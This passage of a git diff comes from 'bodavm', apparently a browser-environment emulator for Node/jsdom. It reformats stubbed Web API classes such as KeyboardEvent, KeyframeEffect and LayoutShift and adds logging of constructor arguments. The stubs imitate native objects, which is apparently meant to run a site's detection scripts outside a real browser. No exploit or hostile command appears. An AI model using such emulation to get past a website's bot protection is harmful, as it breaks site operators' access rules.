"DOM_KEY_LOCATION_NUMPAD", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "key", { + configurable: true, + enumerable: true, + get: function key() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "key_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "code", { + configurable: true, + enumerable: true, + get: function code() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "code_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "location", { + configurable: true, + enumerable: true, + get: function location() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "location_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "ctrlKey", { + configurable: true, + enumerable: true, + get: function ctrlKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "ctrlKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "shiftKey", { + configurable: true, + enumerable: true, + get: function shiftKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "shiftKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "altKey", { + configurable: true, + enumerable: true, + get: function altKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "altKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "metaKey", { + configurable: true, + enumerable: true, + get: function metaKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "metaKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "repeat", { + configurable: true, + enumerable: true, + get: function repeat() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "repeat_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "isComposing", { + configurable: true, + enumerable: true, + get: function isComposing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "isComposing_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "charCode", { + configurable: true, + enumerable: true, + get: function charCode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "charCode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "keyCode", { + configurable: true, + enumerable: true, + get: function keyCode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "keyCode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_STANDARD", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_LEFT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_RIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_NUMPAD", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "getModifierState", { + configurable: true, + enumerable: true, + writable: true, + value: function getModifierState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "getModifierState", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "initKeyboardEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initKeyboardEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "initKeyboardEvent", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/KeyboardLayoutMap.js b/env_xbb_lastest_jsdom/env/KeyboardLayoutMap.js index 1e7b7884..cd8ed830 100644 --- a/env_xbb_lastest_jsdom/env/KeyboardLayoutMap.js +++ b/env_xbb_lastest_jsdom/env/KeyboardLayoutMap.js @@ -1,10 +1,73 @@ -// KeyboardLayoutMap对象 -bodavm.memory.globalobj['KeyboardLayoutMap'] = function KeyboardLayoutMap(){if (!(this instanceof KeyboardLayoutMap)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['KeyboardLayoutMap'], "KeyboardLayoutMap"); -bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "has", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "values", arguments)}},'prototype'); +// KeyboardLayoutMap对象 + +bodavm.memory.globalobj['KeyboardLayoutMap'] = function KeyboardLayoutMap() { + console.log_copy('KeyboardLayoutMap 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof KeyboardLayoutMap)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['KeyboardLayoutMap'], "KeyboardLayoutMap"); +bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "values", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/KeyframeEffect.js b/env_xbb_lastest_jsdom/env/KeyframeEffect.js index 46e77670..f4ee6aa8 100644 --- a/env_xbb_lastest_jsdom/env/KeyframeEffect.js +++ b/env_xbb_lastest_jsdom/env/KeyframeEffect.js @@ -1,10 +1,65 @@ -// KeyframeEffect对象 -bodavm.memory.globalobj['KeyframeEffect'] = function KeyframeEffect(){if (!(this instanceof KeyframeEffect)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'KeyframeEffect': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['KeyframeEffect'], "KeyframeEffect"); -bodavm.memory.globalobj['KeyframeEffect'].prototype.__proto__=bodavm.memory.globalobj['AnimationEffect'].prototype; -bodavm.memory.globalobj['KeyframeEffect'].__proto__=bodavm.memory.globalobj['AnimationEffect']; -bodavm.toolsFunc.defineProperty('KeyframeEffect', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "target_get", arguments)}, set:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "target_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyframeEffect', "pseudoElement", {configurable:true, enumerable:true, get:function pseudoElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "pseudoElement_get", arguments)}, set:function pseudoElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "pseudoElement_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyframeEffect', "composite", {configurable:true, enumerable:true, get:function composite (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "composite_get", arguments)}, set:function composite (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "composite_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyframeEffect', "getKeyframes", {configurable:true, enumerable:true, writable:true, value:function getKeyframes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "getKeyframes", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyframeEffect', "setKeyframes", {configurable:true, enumerable:true, writable:true, value:function setKeyframes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "setKeyframes", arguments)}},'prototype'); +// KeyframeEffect对象 + +bodavm.memory.globalobj['KeyframeEffect'] = function KeyframeEffect() { + console.log_copy('KeyframeEffect 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof KeyframeEffect)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'KeyframeEffect': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['KeyframeEffect'], "KeyframeEffect"); +bodavm.memory.globalobj['KeyframeEffect'].prototype.__proto__ = bodavm.memory.globalobj['AnimationEffect'].prototype; +bodavm.memory.globalobj['KeyframeEffect'].__proto__ = bodavm.memory.globalobj['AnimationEffect']; +bodavm.toolsFunc.defineProperty('KeyframeEffect', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "target_get", arguments); + }, + set: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "target_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyframeEffect', "pseudoElement", { + configurable: true, + enumerable: true, + get: function pseudoElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "pseudoElement_get", arguments); + }, + set: function pseudoElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "pseudoElement_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyframeEffect', "composite", { + configurable: true, + enumerable: true, + get: function composite() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "composite_get", arguments); + }, + set: function composite() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "composite_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyframeEffect', "getKeyframes", { + configurable: true, + enumerable: true, + writable: true, + value: function getKeyframes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "getKeyframes", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyframeEffect', "setKeyframes", { + configurable: true, + enumerable: true, + writable: true, + value: function setKeyframes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "setKeyframes", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/LargestContentfulPaint.js b/env_xbb_lastest_jsdom/env/LargestContentfulPaint.js index e0a10e15..6f789c4e 100644 --- a/env_xbb_lastest_jsdom/env/LargestContentfulPaint.js +++ b/env_xbb_lastest_jsdom/env/LargestContentfulPaint.js @@ -1,12 +1,75 @@ -// LargestContentfulPaint对象 -bodavm.memory.globalobj['LargestContentfulPaint'] = function LargestContentfulPaint(){if (!(this instanceof LargestContentfulPaint)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LargestContentfulPaint'], "LargestContentfulPaint"); -bodavm.memory.globalobj['LargestContentfulPaint'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['LargestContentfulPaint'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; -bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "renderTime", {configurable:true, enumerable:true, get:function renderTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "renderTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "loadTime", {configurable:true, enumerable:true, get:function loadTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "loadTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "element", {configurable:true, enumerable:true, get:function element (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "element_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "toJSON", arguments)}},'prototype'); +// LargestContentfulPaint对象 + +bodavm.memory.globalobj['LargestContentfulPaint'] = function LargestContentfulPaint() { + console.log_copy('LargestContentfulPaint 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof LargestContentfulPaint)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LargestContentfulPaint'], "LargestContentfulPaint"); +bodavm.memory.globalobj['LargestContentfulPaint'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['LargestContentfulPaint'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "renderTime", { + configurable: true, + enumerable: true, + get: function renderTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "renderTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "loadTime", { + configurable: true, + enumerable: true, + get: function loadTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "loadTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "element", { + configurable: true, + enumerable: true, + get: function element() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "element_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/LaunchParams.js b/env_xbb_lastest_jsdom/env/LaunchParams.js index 5a283329..22ca2ac6 100644 --- a/env_xbb_lastest_jsdom/env/LaunchParams.js +++ b/env_xbb_lastest_jsdom/env/LaunchParams.js @@ -1,5 +1,33 @@ -// LaunchParams对象 -bodavm.memory.globalobj['LaunchParams'] = function LaunchParams(){if (!(this instanceof LaunchParams)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LaunchParams'], "LaunchParams"); -bodavm.toolsFunc.defineProperty('LaunchParams', "targetURL", {configurable:true, enumerable:true, get:function targetURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LaunchParams'].prototype, "LaunchParams", "targetURL_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LaunchParams', "files", {configurable:true, enumerable:true, get:function files (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LaunchParams'].prototype, "LaunchParams", "files_get", arguments)}, set:undefined},'prototype'); +// LaunchParams对象 + +bodavm.memory.globalobj['LaunchParams'] = function LaunchParams() { + console.log_copy('LaunchParams 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof LaunchParams)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LaunchParams'], "LaunchParams"); +bodavm.toolsFunc.defineProperty('LaunchParams', "targetURL", { + configurable: true, + enumerable: true, + get: function targetURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LaunchParams'].prototype, "LaunchParams", "targetURL_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LaunchParams', "files", { + configurable: true, + enumerable: true, + get: function files() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LaunchParams'].prototype, "LaunchParams", "files_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/LayoutShift.js b/env_xbb_lastest_jsdom/env/LayoutShift.js index 599d670a..81b5da9d 100644 --- a/env_xbb_lastest_jsdom/env/LayoutShift.js +++ b/env_xbb_lastest_jsdom/env/LayoutShift.js @@ -1,10 +1,59 @@ -// LayoutShift对象 -bodavm.memory.globalobj['LayoutShift'] = function LayoutShift(){if (!(this instanceof LayoutShift)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LayoutShift'], "LayoutShift"); -bodavm.memory.globalobj['LayoutShift'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['LayoutShift'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; -bodavm.toolsFunc.defineProperty('LayoutShift', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "value_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LayoutShift', "hadRecentInput", {configurable:true, enumerable:true, get:function hadRecentInput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "hadRecentInput_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LayoutShift', "lastInputTime", {configurable:true, enumerable:true, get:function lastInputTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "lastInputTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LayoutShift', "sources", {configurable:true, enumerable:true, get:function sources (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "sources_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LayoutShift', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "toJSON", arguments)}},'prototype'); +// LayoutShift对象 + +bodavm.memory.globalobj['LayoutShift'] = function LayoutShift() { + console.log_copy('LayoutShift 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof LayoutShift)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LayoutShift'], "LayoutShift"); +bodavm.memory.globalobj['LayoutShift'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['LayoutShift'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('LayoutShift', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "value_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LayoutShift', "hadRecentInput", { + configurable: true, + enumerable: true, + get: function hadRecentInput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "hadRecentInput_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LayoutShift', "lastInputTime", { + configurable: true, + enumerable: true, + get: function lastInputTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "lastInputTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LayoutShift', "sources", { + configurable: true, + enumerable: true, + get: function sources() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "sources_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LayoutShift', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/LayoutShiftAttribution.js b/env_xbb_lastest_jsdom/env/LayoutShiftAttribution.js index 8ba2b175..76f0af78 100644 --- a/env_xbb_lastest_jsdom/env/LayoutShiftAttribution.js +++ b/env_xbb_lastest_jsdom/env/LayoutShiftAttribution.js @@ -1,7 +1,49 @@ -// LayoutShiftAttribution对象 -bodavm.memory.globalobj['LayoutShiftAttribution'] = function LayoutShiftAttribution(){if (!(this instanceof LayoutShiftAttribution)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LayoutShiftAttribution'], "LayoutShiftAttribution"); -bodavm.toolsFunc.defineProperty('LayoutShiftAttribution', "node", {configurable:true, enumerable:true, get:function node (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShiftAttribution'].prototype, "LayoutShiftAttribution", "node_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LayoutShiftAttribution', "previousRect", {configurable:true, enumerable:true, get:function previousRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShiftAttribution'].prototype, "LayoutShiftAttribution", "previousRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LayoutShiftAttribution', "currentRect", {configurable:true, enumerable:true, get:function currentRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShiftAttribution'].prototype, "LayoutShiftAttribution", "currentRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('LayoutShiftAttribution', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShiftAttribution'].prototype, "LayoutShiftAttribution", "toJSON", arguments)}},'prototype'); +// LayoutShiftAttribution对象 + +bodavm.memory.globalobj['LayoutShiftAttribution'] = function LayoutShiftAttribution() { + console.log_copy('LayoutShiftAttribution 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof 